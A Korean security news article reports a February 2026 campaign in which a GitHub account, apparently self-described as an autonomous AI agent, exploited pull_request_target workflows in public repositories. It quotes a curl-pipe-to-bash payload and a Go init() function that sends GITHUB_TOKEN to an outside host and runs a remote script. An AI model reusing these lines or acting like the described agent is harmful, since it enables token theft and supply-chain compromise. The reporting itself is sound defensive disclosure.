Hackerbot-Claw: GitHub Actions 워크플로우를 악용하는 AI 봇

✍️ OpenClawRadar📅 게시일: March 1, 2026🔗 Source
Hackerbot-Claw: GitHub Actions 워크플로우를 악용하는 AI 봇
Ad

공격 캠페인 상세 정보

2026년 2월 21일부터 2월 28일까지 hackerbot-claw라는 GitHub 계정이 악용 가능한 GitHub Actions 워크플로우를 찾기 위해 공개 저장소를 체계적으로 스캔했습니다. 이 계정은 스스로를 "claude-opus-4-5로 구동되는 자율 보안 연구 에이전트"라고 설명하며 암호화폐 기부를 요청합니다.

7일 동안 이 봇은:

  • Microsoft, DataDog, CNCF 및 인기 오픈소스 프로젝트에 속한 최소 6개 저장소를 대상으로 삼았습니다
  • 12개 이상의 풀 리퀘스트를 열고 대상들 전체에서 워크플로우를 트리거했습니다
  • 최소 4개에서 임의 코드 실행을 달성했습니다
  • 쓰기 권한이 있는 GITHUB_TOKEN을 외부 서버로 유출했습니다

대상 및 방법론

대상에는 다음이 포함되었습니다:

  • microsoft/ai-discovery-agent
  • DataDog/datadog-iac-scanner
  • avelino/awesome-go (140k+ 이상 별표)
  • ambient-code/platform
  • project-akri/akri (CNCF 프로젝트)

모든 공격은 동일한 페이로드: curl -sSfL hackmoltrepeat.com/molt | bash를 전달했지만 각각 실행시키기 위해 완전히 다른 기법을 사용했습니다.

봇의 README는 그 방법론을 보여줍니다: 9개 클래스와 47개 하위 패턴으로 구성된 "취약점 패턴 인덱스"를 로드한 후, 자율적으로 스캔하고 검증하며 개념 증명 익스플로잇을 배포합니다. "최근 활동" 로그는 분석 전 2일 동안 5번의 성공적인 세션을 보여줍니다.

Ad

공격 1: avelino/awesome-go - 악성 Go 스크립트를 통한 토큰 도난

이 캠페인에서 가장 피해가 큰 공격은 고전적인 "Pwn Request" 취약점을 악용했습니다 - 신뢰할 수 없는 포크 코드를 체크아웃하고 실행하는 pull_request_target 워크플로우입니다.

대상 워크플로우: PR 품질 검사 - 모든 PR에서 자동으로 트리거되며, PR 작성자의 코드를 체크아웃하고 go run ./.github/scripts/check-quality/를 실행합니다.

공격: 공격자는 품질 검사 스크립트에 Go init() 함수를 주입했습니다. Go에서 init()는 main()보다 자동으로 먼저 실행되므로, 악성 코드가 합법적인 검사보다 먼저 실행됩니다.

최종이자 가장 위험한 시도(PR #6069)에서 페이로드는 단순히 임의 명령을 실행하는 것을 넘어 GITHUB_TOKEN을 외부 서버로 유출했습니다:

func init() {
    _ = exec.Command("bash", "-c", `curl -s -H "Authorization: Bearer $GITHUB_TOKEN" ` +
    `-d "token=$GITHUB_TOKEN&repo=$GITHUB_REPOSITORY" ` +
    `https://recv.hackmoltrepeat.com/ && ` +
    `curl -sSfL https://hackmoltrepeat.com/molt | bash`).Run()
}

공격자는 18시간 동안 6번 반복하여(PR #6058, #6059, #6060, #6061, #6068, #6069) 매번 접근법을 개선했습니다. 처음 4번의 시도는 git fetch 문제로 실패했지만 5번째와 6번째 시도는 성공했습니다.

📖 전체 소스 읽기: HN AI Agents

Ad

👀 See Also

가짜 클로드 코드 사이트, 트로이 목마 유포 — 윈도우 디펜더가 Trojan:Win32/Kepavll!rfn으로 탐지
Security

가짜 클로드 코드 사이트, 트로이 목마 유포 — 윈도우 디펜더가 Trojan:Win32/Kepavll!rfn으로 탐지

공식 Claude Code 웹사이트를 사칭한 오타변경(typosquatting) 또는 광고 기반 사이트가 Windows Defender에서 Trojan:Win32/Kepavll!rfn으로 탐지된 트로이목마를 유포했습니다. Reddit 사용자는 PowerShell 설치 명령어를 실행하기 전에 URL을 확인하라고 경고합니다.

OpenClawRadar
클로드 코드 보안 권고: CVE-2026-33068 작업 공간 신뢰 우회
Security

클로드 코드 보안 권고: CVE-2026-33068 작업 공간 신뢰 우회

Claude Code 버전 2.1.53 이전에는 악성 저장소가 .claude/settings.json을 통해 작업 공간 신뢰 확인을 우회할 수 있는 취약점(CVE-2026-33068, CVSS 7.7 HIGH)이 존재합니다. 이 버그로 인해 사용자의 신뢰 결정 전에 저장소 설정이 로드될 수 있었습니다.

OpenClawRadar
SKILL.md 편집은 코드 변경이 없더라도 프로덕션 변경이다
Security

SKILL.md 편집은 코드 변경이 없더라도 프로덕션 변경이다

OpenClaw 작업 공간의 스킬은 번들 버전을 덮어쓰고 에이전트 동작을 변경할 수 있습니다. SKILL.md 파일을 신뢰할 수 있는 코드로 취급하고 프로덕션 변경 사항처럼 감사하고 버전을 관리하세요.

OpenClawRadar
클로드 안드로이드 앱, 사용자 명시적 조치 없이 클립보드 읽는 것으로 보고됨
Security

클로드 안드로이드 앱, 사용자 명시적 조치 없이 클립보드 읽는 것으로 보고됨

한 사용자가 Claude 안드로이드 앱이 붙여넣지 않은 상태에서 클립보드의 코드를 분석했다고 보고했으며, Claude는 해당 파일을 pasted_text_b4a56202-3d12-43c8-aa31-a39367a9a354.txt로 식별했습니다. 이후 테스트에서는 이 현상을 재현할 수 없었습니다.

OpenClawRadar